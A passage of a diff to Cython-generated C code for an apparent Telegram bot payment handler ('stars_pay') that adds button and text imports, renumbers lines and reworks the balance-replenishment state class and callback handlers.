__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment = &__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment) < 0) __PYX_ERR(0, 249, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment) < 0) __PYX_ERR(0, 251, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment->tp_print = 0; @@ -11693,7 +11675,7 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __pyx_t_2 = PyList_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); @@ -11701,6 +11683,12 @@ if (!__Pyx_RefNanny) { __Pyx_INCREF(__pyx_n_s_AMOUNT_TEXT); __Pyx_GIVEREF(__pyx_n_s_AMOUNT_TEXT); if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_AMOUNT_TEXT)) __PYX_ERR(0, 19, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ENTER_SUM); + __Pyx_GIVEREF(__pyx_n_s_ENTER_SUM); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_ENTER_SUM)) __PYX_ERR(0, 19, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + __Pyx_GIVEREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE)) __PYX_ERR(0, 19, __pyx_L1_error); __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -11712,6 +11700,14 @@ if (!__Pyx_RefNanny) { __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_AMOUNT_TEXT, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ENTER_SUM, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) @@ -11728,99 +11724,80 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_t_2 = PyList_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_BACK); + __Pyx_GIVEREF(__pyx_n_s_BACK); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_BACK)) __PYX_ERR(0, 22, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_CUSTOM_AMOUNT); + __Pyx_GIVEREF(__pyx_n_s_CUSTOM_AMOUNT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_CUSTOM_AMOUNT)) __PYX_ERR(0, 22, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_STARS_BOT); + __Pyx_GIVEREF(__pyx_n_s_STARS_BOT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_STARS_BOT)) __PYX_ERR(0, 22, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_PAY); + __Pyx_GIVEREF(__pyx_n_s_PAY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_PAY)) __PYX_ERR(0, 22, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_BACK, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CUSTOM_AMOUNT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CUSTOM_AMOUNT, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_STARS_BOT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_BOT, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAY, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_edit_or_send_message); __Pyx_GIVEREF(__pyx_n_s_edit_or_send_message); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 22, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 24, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error); - __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PEP560_update_bases(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_CalculateMetaclass(NULL, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_4, __pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_stars_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 28, __pyx_L1_error) + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_4, __pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_stars_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (__pyx_t_2 != __pyx_t_3) { - if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_3) < 0))) __PYX_ERR(0, 28, __pyx_L1_error) + if (__pyx_t_3 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 30, __pyx_L1_error) } - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 29, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_7 = NULL; - __pyx_t_8 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_6))) { - __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); - if (likely(__pyx_t_7)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); - __Pyx_INCREF(__pyx_t_7); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_6, function); - __pyx_t_8 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); - __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 29, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - } - if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_stars, __pyx_t_3) < 0) __PYX_ERR(0, 29, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 30, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_7 = NULL; - __pyx_t_8 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_6))) { - __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); - if (likely(__pyx_t_7)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); - __Pyx_INCREF(__pyx_t_7); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_6, function); - __pyx_t_8 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); - __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - } - if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 30, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); @@ -11840,268 +11817,322 @@ if (!__Pyx_RefNanny) { #endif { PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars, __pyx_t_3) < 0) __PYX_ERR(0, 31, __pyx_L1_error) + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_4, __pyx_n_s_ReplenishBalanceState, __pyx_t_3, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_Py3ClassCreate(__pyx_t_4, __pyx_n_s_ReplenishBalanceState, __pyx_t_2, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_3) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_back_to_pay_stars_after_invoice, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_1back_to_pay_stars_after_invoice, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_back_to_pay_stars_after_invoice, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_back_to_pay_stars_after_invoice, __pyx_t_3) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_back_to_pay_stars_after_invoice, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_back_to_pay_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 34, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 34, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 34, __pyx_L1_error) - __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_1back_to_pay_stars_after_invoice, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_back_to_pay_stars_after_invoice, NULL, 